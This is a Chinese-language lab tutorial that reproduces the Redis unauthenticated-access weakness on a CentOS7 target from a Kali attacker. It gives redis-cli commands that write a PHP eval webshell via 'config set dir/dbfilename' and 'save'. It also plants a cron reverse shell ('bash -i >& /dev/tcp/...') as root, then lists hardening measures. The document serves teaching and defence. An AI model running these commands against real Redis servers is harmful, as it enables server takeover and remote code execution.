Redis - General - 未授权访问漏洞(用户配置问题)
0x01:产品简介
Redis(Remote Dictionary Service,远程数据服务),是一款开源的基于内存的键值对存储系统,其主要被用作高性能缓存服务器使用(比如作为消息中间件和用于 Session 共享)。
Redis 采用键值对模型来存储数据,因此其支持非常多的数据结构类型,比如:字符串(String)、哈希表(Hash)、有序列表(List)、无序集合(Set)、有序集合(ZSet)。
由于 Redis 采用基于内存的存储方式,所以其免去了磁盘 I/O 速度的影响,因此其读写性能极高。
拓展:简单的 Redis 操作指令(部署完环境后速查)
/redis-cli # 连接本地的 Redis 服务端redis-cli -h xx.xx.xx.xx -p 6379 # 连接远程的 Redis 服务端flushall # 清空所有的 Keykeys * # 查看所有的 Keyset Hack3rX Blue17 # 设置 Keyget Hack3rX # 根据 Key,取出 Valuehset hash 1 a 2 b 3 c 4 d # 设置 Hash 值hget hash 1 # 取出 hash 值为 1 的值,即 a
0x02:漏洞简介
首先需要说明,Redis 官方并不认为这个是它们系统的漏洞,他们认为这源自于用户配置不当所造成的问题,所以在很早的 Redis 版本中就可以使用该漏洞进行攻击。
在默认配置下,Redis 会绑定至本机的 6379 端口。若用户未采取诸如限制 Redis 访问 IP 等防护措施,且未设置密码认证(Redis 默认密码为空),便直接将 Redis 服务暴露于公网,这将使得任意用户在能够访问目标服务器的情况下,可借助 Redis 自身的 config 命令执行写文件操作。攻击者可借此向定时任务中植入恶意代码,进而获取 Redis 运行服务器的控制权,并进一步实施攻击。
0x03:环境搭建
环境准备
Redis 版本:6.2.3(CSDN 备份资源:redis-6.2.3.tar.gz)
靶机环境:CentOS7 - IP 192.168.0.137 - 安装 Redis 服务器
攻击机环境:Kali Linux - IP 192.168.0.136 - 安装 Redis 客户端
0x0301:靶机环境搭建
靶机:Redis 服务端配置概览
目标:能让任何 Redis 客户端都连接上 Redis 服务器。
备注:Redis 服务端是使用 root 用户安装的。(实际环境中不推荐)
Redis 配置文件:
关闭保护模式
protected-mode
(让任何客户端都能连接)取消 IP 绑定
bind
(让任何客户端都能连接)取消 Redis 连接密码(这个是默认的配置)
服务端配置:
开放 6379 端口,或者关闭防火墙(公网安装记得去安全组中进行配置)
1. CentOS 7 安装 Redis 源码包
Downloads - Redishttps://redis.io/downloads/
使用 SSH 登录到靶机,切换到 Root 用户,然后在 /usr/local/
目录下创建一个soft
文件夹以存放我们安装的 Redis 软件(你可以挑选你喜欢的安装目录,这里不必和笔者一样):
mkdir /usr/local/soft # 创建 soft 文件夹,以存放安装的程序(可选,看你)cd /usr/local/soft # 进入 soft 文件夹wget https://download.redis.io/releases/redis-6.2.3.tar.gz # 下载 Redis 源码包
输入下面的命令解压 redis 压缩包:
tar -zxvf redis-6.2.3.tar.gz
我们刚刚下载的是 Redis 的源码包,还不能直接使用,我们还需要将其编译成可执行程序后才能使用。由于 Redis 是使用 C 语言编写的,所以我们编译需要用到 GCC。Redis 6.x.x 版本支持了多线程,所以需要 GCC 的版本大于 4.9(CentOS7 默认 GCC 版本是 4.8.5)。
2. CentOS 7 升级 GCC 版本
输入下面的命令查看本机当前的 gcc 版本:
gcc -v
依次输入下面的命令升级本机的 GCC 版本(这里很多人都会失败,建议参考笔者下面列举的项目进行排查):
yum -y install centos-release-sclyum -y install devtoolset-9-gcc devtoolset-9-gcc-c++ devtoolset-9-binutils scl enable devtoolset-9 bash echo "source /opt/rh/devtoolset-9/enable" >>/etc/profile
Bug:若无法下载 gcc 9 版本可以参考下面流程进行排查(NameServer Error)
在下载 gcc 9 版本时,可能会报出 NameServer Error 问题,即 yum 源域名无法解析的问题,建议按照如下流程排查:
修改本地 DNS 解析地址,直到你能 Ping 通 baidu.com 为止(问 AI)。
修改本地 yum 源为阿里源 - 参考下面这篇文章:
Centos7将yum源更换为国内源保姆级教程_centos使用中科大源-CSDN博客
当你修改 yum 源后 makecache 时报错发现改源失败,参考这篇文章修改 SCL 源:
Centos7 停止维护之后 升级gcc||找不到devtoolset-8-gcc* 问题解决方案
等上面的命令执行完毕后输入下面的命令,查看当前 gcc 的版本:
gcc -v
3. CentOS 7 编译安装 Redis
输入下面的命令进入 redis 源码包解压后的 src
(源码)目录:
cd /usr/local/soft/redis-6.2.3/src
使用下面的命令将 Redis 源码编译成可执行程序:
make install
在 src
目录下输入下面的命令,确定你是否安装成功:
ls | grep -E "redis-server|redis-cli|redis-sentinel"
4. 修改 Redis 配置文件
首先明确一点,笔者将 redis 安装在了:/usr/local/soft/redis-6.2.3
文件夹下。所以我本机的 Redis 默认配置文件是在 /usr/local/soft/redis-6.2.3/redis.conf
。
使用下面的命令打开并编辑 Redis 的配置文件(修改完成后记得保存):
vim /usr/local/soft/redis-6.2.3/redis.conf# 以下是需要更改的配置内容
1. 将 protected-mode yes 修改为 protected-mode no
2. 将 daemonize no 修改为 daemonize yes
3. 注释掉 bind 127.0.0.1
4. (实验跳过,实际必选)如果需要密码访问,取消 requirepass 的注释,如果你在外网(比如阿里云)这个必须要配置。
5. 使用指定配置文件启动 Redis
输入下面的命令,使用 redis-server(我们编译好的可执行程序)加载我们刚刚修改的配置文件来尝试启动 Redis 服务:
/usr/local/soft/redis-6.2.3/src/redis-server /usr/local/soft/redis-6.2.3/redis.conf
输入完上面的命令后,在使用下面的命令来确定 Redis 是否启动成功(Redis 默认端口是 6379,如果我们发现 6379 端口处于 LISTEN 状态,则说明 Redis 启动成功):
netstat -an | grep 6379
6. 使用 Redis 客户端连接 Redis 服务器
输入下面的命令,使用我们刚刚编译好的 redis 客户端程序连接上 redis 服务器:
/usr/local/soft/redis-6.2.3/src/redis-cli
7. 停止 redis 服务器(服务器中)
在上面的演示中,我们通过 exit
退出连接了 Redis 服务器,可以发现 Redis 服务器其实依旧在运行,并没有关闭,那么我们要怎么关闭 redis 服务呢?
关闭 redis 服务可以通过以下两个方式进行(在运行 Redis 服务的机器中运行):
========================== Way 1
127.0.0.1:6379> shutdown========================== Way 2
ps -aux | grep redis # 筛选出 redis 服务的进程号
kill -9 xxxxx # 直接杀死 redis 服务的进程
8. (可选)快捷使用 Redis - 配置别名
我们刚刚通过输入 /usr/local/soft/redis-6.2.3/src/redis-server /usr/local/soft/redis-6.2.3/redis.conf
的方式启动 Redis 非常的麻烦,有没有简单的缩短我们敲的指令的长度呢?
有的,兄弟,有的,配置别名就可以了,输入下面的命令编辑 .bashrc
文件(记得保存):
vim ~/.bashrc # 编辑 ~/.bashrc# 添加下面两行内容
alias redis='/usr/local/soft/redis-6.2.3/src/redis-server /usr/local/soft/redis-6.2.3/redis.conf'
alias recli='/usr/local/soft/redis-6.2.3/src/redis-cli'
然后输入下面的命令,使我们上面修改的内容生效:
source ~/.bashrc
然后我们就可以使用 redis 命令直接启动 redis 服务,使用 recli 命令直接进入客户端了:
9. 开放 6379 端口 or 关闭防火墙
为了我们漏洞复现的成功,我们需要将服务端的 Redis 服务暴露出来。暴露的方式很简单,如果你是在公网上安装的,从安全组中开放 6379 端口即可。这里我们主要讲解第二种方式,即关闭防火墙(漏洞复现,还是别拿自己的公网服务器开玩笑比较好)。
首先,输入下面的命令,查看本机防火墙状态:
systemctl status firewalld
关闭防火墙输入下面的命令即可:
systemctl stop firewalld.service # 关闭防火墙,重启后防火墙会自动开启
systemctl disable firewalld.service # 禁止防火墙开机启动
那么至此,我们的靶机环境就搭建完成了。
0x0302:攻击机环境搭建
攻击机我们采用的是 Kali Linux,对于攻击机的环境,其实只要安装一个 Redis 的客户端程序即可,具体流程与上面安装 CentOS 7 的基本一致,所以笔者这里就简略点写了。
下载 Redis 源码包,并进行解压编译成可执行文件(本机 Kali 的 GCC 版本是 13.2.0 符合要求):
# 下载 Redis 源码包
wget https://download.redis.io/releases/redis-6.2.3.tar.gz
# 进行解压操作
tar -zxvf redis-6.2.3.tar.gz
# 进入源码目录
cd redis-6.2.3/src
# 将源码编译成可执行程序
make install
# 将 src 目录下的 redis-cli 拷贝到 /usr/bin 目录下,我们就可以直接使用 redis-cli 运行客户端了
cp ./redis-cli /usr/bin
按照上面的步骤操作完成后,我们就可以尝试使用 Kali 中的 redis 客户端连接 CentOS 7 靶机上的 Redis 服务器了:
redis-cli -h 192.168.0.137 -p 6379
0x04:漏洞复现
0x0401:基础知识 - Redis 持久化机制
在 Redis 产品简介中我们已经说过了,Redis 是将数据存储在内存中。我们知道的,内存中的数据是不持久的,如果我们的服务器不小心关机了,或者 Redis 的服务不小心崩溃了,那么 Redis 中存储的数据就会全部消失。
为了解决上面的问题,我们就要使用到 Redis 的持久化机制,即定期将内存中的数据拷贝到硬盘上。Redis 提供了两种方式来做持久化,分别是 RDB(默认,Redis DataBase)与 AOF(Append Only File),这两种方式是可以同时使用的,并不是排斥的。我们这里主要是讲解 RDB 的方式,因为是默认的,所以用的比较多。
1. RDB - 自动备份
RDB 方式可以分为自动触发与手动触发两种,我们先来看看自动触发,使用靶机打开 Redis 的配置文件,定位关键词 SNAPSHOTTING
,这部分是控制自动触发的条件的:
vim /usr/local/soft/redis-6.2.3/redis.conf
然后再定位关键词 dbfilename
,这部分是控制保存的文件名的:
然后我们再定位关键词 dir
,这部分是控制保存的路径的:
通过上面几个配置,我们了解到了,Redis 会通过 SNAPSHOTTING
中的规则,将内存中的数据定期备份到 Redis 安装目录下的 dump.rdb 文件中(默认情况下):
2. RDB - 手动备份
手动触发就比较简单了,进入 Redis 客户端中输入下面的命令就可以直接让 Redis 将内存数据写到磁盘中的指定位置了:
save
0x0402:基础知识 - Redis 动态修改配置
在之前的操作中,我们想要修改 Redis 的配置都需要去 Redis 的配置文件中进行修改。但 Redis 其实还提供了一个动态修改配置的机制,其语法如下(动态修改的配置只在本次服务中生效):
config set dir /
config set dbfilename redis.php
首先给大家看一下我靶机的根目录下的文件,此时是没有 redis.php 的:
在攻击机中,我们使用 Redis 客户端连接到靶机的 Redis 服务器中,并通过动态修改配置的方式,在靶机的根目录下生成一个 redis.php 文件:
┌──(root㉿kali)-[/home/kali/Desktop/soft]
└─# redis-cli -h 192.168.0.137 -p 6379 # 连接上靶机的 Redis 服务器
192.168.0.137:6379> keys *
(empty array)
192.168.0.137:6379> set Hack3rX "I'm Comming!" # 设置一个 Key
OK
192.168.0.137:6379> set kiss "<?php @eval($_POST['muma']) ?>" # 设置一个 Key,并写入一句话木马
OK
192.168.0.137:6379> config set dir / # 通过动态修改配置,设置保存的文件位置
OK
192.168.0.137:6379> config set dbfilename redis.php # 设置保存的文件名
OK
192.168.0.137:6379> save # 手动执行保存操作
OK
下面我们来看看靶机的根目录下的内容:
可以发现,此时在靶机的根目录下就出现了一个 redis.php 文件,打开该文件,可以发现里面有完好的 PHP 一句话木马的内容(如果我们将保存位置设置到靶机的站点目录下呢,是不是就可以直接写入 Shell,然后再使用远控工具进行连接,就能直接拿到服务器的控制权了呢)。
0x0403:漏洞利用 - Redis 定时反弹连接
在前面的内容中我们介绍了 Redis 的持久化机制,现在我们就尝试使用该机制来获取靶机执行命令的权限。
目前我的靶机是除了 6379 Redis 开放的以外,其他服务都没开放,也不存在 HTTP 服务。那么,这种情况我们要怎么拿到 Shell?很简单,利用定时任务就可以了。
首先,我们进入 Kali 攻击机,并监听本机的 7777 端口:
nc -lvp 7777
然后新打开一个窗口,使用攻击机的 Redis 客户端程序连接到靶机的 Redis 服务器中:
redis-cli -h 192.168.0.137 -p 6379
然后将定时任务的内容作为 Value 写入到 Redis 中:
# 下面是写入了一个 Bash 反弹连接的任务,每分钟执行一次,靶机会自动将权限提交给攻击机
set x "\n* * * * * bash -i >& /dev/tcp/192.168.0.136/7777 0>&1 \n"
如上,我们写了一个定时执行的反弹连接代码到靶机上。然后,使用 Redis 动态修改配置的特性,将数据保存到靶机的定时任务文件中(这个文件是固定的):
config set dir /var/spool/cron/ # 设置保存的路径
config set dbfilename root # 设置保存的文件名
save # 手动执行持久化操作
等待一分钟,很快,攻击机监听的 7777 端口就传来了靶机的 Shell,成功拿到靶机的控制权:
至此,Redis 未授权访问漏洞结合定时任务反弹 Shell 的攻击演示结束。(后面就是权限维持,痕迹清理啥的基础内容了,笔者不准备在这里讲解)。
最后,再来看以下靶机的 root 用户下的定时任务中的内容吧:
0x05:加固方案
Redis security | DocsSecurity model and features in Redishttps://redis.io/docs/latest/operate/oss_and_stack/management/security/
Redis 的加固方案可以参考上面提供的官网文档。针对 “Redis 未授权访问漏洞” 相信大家在安装 Redis 的时候应该就想到了防御方法了,这里简单列一下吧:
-
不建议将 Redis 布置在公网中(不受信任的网络环境中)。
-
限制访问 IP =>
protected-mode
配置与bind
配置。 -
设置 Redis 的连接密码(强密码) =>
requirepass
配置。 -
修改 Redis 默认端口。
-
不要使用 Root 用户运行 Redis,而是创建一个低权限用户运行它。
0x06:参考资料
【Kali】Kali 安装 redis-cli_kali安装redis-cli-CSDN博客文章浏览阅读5.2k次,点赞24次,收藏17次。起序:留个笔记。一、下载下载 redis-stable.tar.gz。wget http://download.redis.io/redis-stable.tar.gz二、解压解压 redis-stable。tar -zxf redis-stable.tar.gz三、编译编译 redis-stable。# 进入到 redis-stable 目录cd redis-stable# 编译make四、拷贝编译完成之后,再将 src 目录下的 redis-cl._kali安装redis-clihttps://blog.csdn.net/qq_43427482/article/details/114794812
相关文章:

Redis - General - 未授权访问漏洞(用户配置问题)
0x01:产品简介 Redis(Remote Dictionary Service,远程数据服务),是一款开源的基于内存的键值对存储系统,其主要被用作高性能缓存服务器使用(比如作为消息中间件和用于 Session 共享)…...
解决 WSL 2 中 Ubuntu 22.04 安装 Docker 后无法启动的问题
问题场景 安装Docker后,执行sudo service docker start启动Docker,提示启动成功 rootDev:~# sudo service docker start * Starting Docker: docker [ OK ]执行su…...
Conda的一些常用命令
以下是Conda的一些常用命令: pip freeze > requirements.txt pip install -r requirements.txt 基本信息查看类 查看conda版本: conda -V 或 conda --version 可以查看当前安装的conda版本。 查看conda帮助信息: conda -h 或 conda --he…...

AI 大爆发时代,音视频未来路在何方?
AI 大模型突然大火了 回顾2024年,计算机领域最大的变革应该就是大模型进一步火爆了。回顾下大模型的发展历程: 萌芽期:(1950-2005) 1956年:计算机专家约翰麦卡锡首次提出“人工智能”概念,标志…...

Invicti-Professional-V25.1
01 更新介绍 此更新包括对内部代理的更改。内部扫描代理的当前版本为 25.1.0。内部身份验证验证程序代理的当前版本为 25.1.0。#新功能现在,单击扫描摘要屏幕中的预设扫描图标会将您重定向到具有过滤视图的 “最近扫描” 页面,从而改进导航和对相关扫描…...
【版图设计】2025年 最新 Cadence Virtuoso IC617 虚拟机环境配置全过程 集成电路版图设计环境配置
一、Cadence Virtuoso IC617 是什么? Cadence Virtuoso 是一个电子设计自动化(EDA)工具,主要用于集成电路(IC)的设计和仿真,尤其是在模拟、混合信号和射频(RF)电路设计领…...
Python基本概念与实践
Python语言,总给我一种“嗯?还能这么玩儿?”的感觉 Python像一个二三十岁的年轻人,自由、年轻、又灵活 欢迎一起进入Python的世界~ 本人工作中经常使用Python,针对一些常用的语法概念进行持续记录。 目录 一、类与常…...
# [Unity] 【游戏开发】获取物体和组件的脚本方法
在Unity开发中,获取游戏物体(GameObject)及其组件(Component)是脚本编程的核心技能。本文将详细介绍如何在脚本中访问游戏物体及其组件,深入讲解常用的获取方法及优化策略,以帮助开发者高效编写Unity脚本。 1. 理解游戏物体与组件的关系 游戏物体(GameObject):Unity场…...
10 为什么系统需要引入分布式、微服务架构
java技术的发展 在java开始流行起来之后,主要服务于企业家应用,例如ERP,CRM等等,这些项目是为企业内部员工使用,我们的思维是怎么用设计模式,如何封装代码。让开发人员关注到业务上去,系统也就那么几十几百…...
大数据系列之:上传图片到cos、cos
大数据系列之:上传图片到cos、cos 安装python cos sdk上传图片到cos高级上传接口分页列举桶内对象cos桶之间复制cos桶之间复制图片数据 安装python cos sdk pip install -U cos-python-sdk-v5上传图片到cos # -*- codingutf-8 from qcloud_cos import CosConfig fr…...

wsl 使用 docker
直接在 wsl 安装 docker , 有可能会失败,可以通过在 windows 安装 Docker Desktop,然后连接 wsl 进行解决 注意: 1. 需要先安装 wsl 2. 使用时要先启动 docker Desktop, 才能在 wsl 中使用 下载: Docker: Accelerated Containe…...

归并延拓:LeetCode归并排序逆序对问题
前言 欢迎来到我的算法探索博客,在这里,我将通过解析精选的LeetCode题目,与您分享深刻的解题思路、多元化的解决方案以及宝贵的实战经验,旨在帮助每一位读者提升编程技能,领略算法之美。 👉更多高频有趣Lee…...

51.WPF应用加图标指南 C#例子 WPF例子
完整步骤: 先使用文心一言生成一个图标如左边使用Windows图片编辑器编辑,去除背景使用正方形,放大图片使图标铺满图片使用格式工程转换为ico格式,分辨率为最大 在资源管理器中右键项目添加ico类型图片到项目里图片属性设置为始终…...
Springboot 注解缓存使用教程
Spring Boot Cache 注解使用教程 Spring Boot 提供了强大的缓存抽象,开发者可以通过注解快速实现缓存功能,从而提高系统性能。本教程将全面介绍 Spring Boot 提供的缓存相关注解及其作用,并结合示例讲解实际应用。 1. 常用缓存注解概览 Spring Boot 缓存提供以下核心注解…...
Python爬虫:从入门到实践
Python爬虫学习资料 Python爬虫学习资料 Python爬虫学习资料 在当今数字化信息爆炸的时代,数据已成为企业和个人发展的重要资产。Python爬虫作为一种高效获取网络数据的工具,正逐渐被广大开发者所熟知和应用。无论是市场调研、学术研究,还是…...
删除字符串中的所有相邻重复项(力扣1047)
这题也是属于栈的经典应用。为什么这样说呢?因为也是让我们删除相邻项。注意这里相邻项的理解,并不仅仅是说最开始的字符串相邻的项。在我们删除了某些相邻项后,会改变字符串,导致原本不相邻的字符变成相邻的,这同样属…...
MYSQL对数据的增删改查
DML 语句 对数据 进行 增、删、改 操作 插入 命令-- 插入值的个数 必须和 字段定义的个数相同 且 顺序 一致 insert into <tableName> values (val ...) ; /* 不推荐使用 */insert into <tableName>(col1 , col2 , ...) values(val1, val2 , ...) ;-- 批量插…...
前端——Html+CSS
目录 CSS引入方式 颜色表达方式 CSS选择器 去掉超链接的下划线 路径表示 行高和首行缩进 常见标签 布局标签 flex布局 表单标签 表单项标签 改变鼠标指针的样式 表格标签 div{ box-sizing: border-box; } CSS引入方式 具体有3种引入方式,语法如下表格所…...

Linux(DISK:raid5、LVM逻辑卷)
赛题拓扑: 题目: DISK 添加4块大小均为10G的虚拟磁盘,配置raid-5磁盘。创建LVM命名为/dev/vg01/lv01,大小为20G,格式化为ext4,挂在到本地目录/webdata,在分区内建立测试空文件disk.txt。[root@storagesrv ~]# yum install mdadm -y [root@storagesrv ~]# mdadm -C -n …...

N个utils(sql)
sql,操作数据库的语言,也可以叫做数据库软件的指令集吧。名字而已,无所谓啦。 本质上,sql并不是java语言内的范畴。但却是企业级开发的范畴。并且我整个文章的一篇逻辑的本质,层的概念,其中一个大的层级就…...
DockerHub与私有镜像仓库在容器化中的应用与管理
哈喽,大家好,我是左手python! Docker Hub的应用与管理 Docker Hub的基本概念与使用方法 Docker Hub是Docker官方提供的一个公共镜像仓库,用户可以在其中找到各种操作系统、软件和应用的镜像。开发者可以通过Docker Hub轻松获取所…...
FFmpeg 低延迟同屏方案
引言 在实时互动需求激增的当下,无论是在线教育中的师生同屏演示、远程办公的屏幕共享协作,还是游戏直播的画面实时传输,低延迟同屏已成为保障用户体验的核心指标。FFmpeg 作为一款功能强大的多媒体框架,凭借其灵活的编解码、数据…...

2.Vue编写一个app
1.src中重要的组成 1.1main.ts // 引入createApp用于创建应用 import { createApp } from "vue"; // 引用App根组件 import App from ./App.vue;createApp(App).mount(#app)1.2 App.vue 其中要写三种标签 <template> <!--html--> </template>…...

uniapp微信小程序视频实时流+pc端预览方案
方案类型技术实现是否免费优点缺点适用场景延迟范围开发复杂度WebSocket图片帧定时拍照Base64传输✅ 完全免费无需服务器 纯前端实现高延迟高流量 帧率极低个人demo测试 超低频监控500ms-2s⭐⭐RTMP推流TRTC/即构SDK推流❌ 付费方案 (部分有免费额度&#x…...

PL0语法,分析器实现!
简介 PL/0 是一种简单的编程语言,通常用于教学编译原理。它的语法结构清晰,功能包括常量定义、变量声明、过程(子程序)定义以及基本的控制结构(如条件语句和循环语句)。 PL/0 语法规范 PL/0 是一种教学用的小型编程语言,由 Niklaus Wirth 设计,用于展示编译原理的核…...

Java面试专项一-准备篇
一、企业简历筛选规则 一般企业的简历筛选流程:首先由HR先筛选一部分简历后,在将简历给到对应的项目负责人后再进行下一步的操作。 HR如何筛选简历 例如:Boss直聘(招聘方平台) 直接按照条件进行筛选 例如:…...
JVM暂停(Stop-The-World,STW)的原因分类及对应排查方案
JVM暂停(Stop-The-World,STW)的完整原因分类及对应排查方案,结合JVM运行机制和常见故障场景整理而成: 一、GC相关暂停 1. 安全点(Safepoint)阻塞 现象:JVM暂停但无GC日志,日志显示No GCs detected。原因:JVM等待所有线程进入安全点(如…...

2025季度云服务器排行榜
在全球云服务器市场,各厂商的排名和地位并非一成不变,而是由其独特的优势、战略布局和市场适应性共同决定的。以下是根据2025年市场趋势,对主要云服务器厂商在排行榜中占据重要位置的原因和优势进行深度分析: 一、全球“三巨头”…...

Python Ovito统计金刚石结构数量
大家好,我是小马老师。 本文介绍python ovito方法统计金刚石结构的方法。 Ovito Identify diamond structure命令可以识别和统计金刚石结构,但是无法直接输出结构的变化情况。 本文使用python调用ovito包的方法,可以持续统计各步的金刚石结构,具体代码如下: from ovito…...
JS手写代码篇----使用Promise封装AJAX请求
15、使用Promise封装AJAX请求 promise就有reject和resolve了,就不必写成功和失败的回调函数了 const BASEURL ./手写ajax/test.jsonfunction promiseAjax() {return new Promise((resolve, reject) > {const xhr new XMLHttpRequest();xhr.open("get&quo…...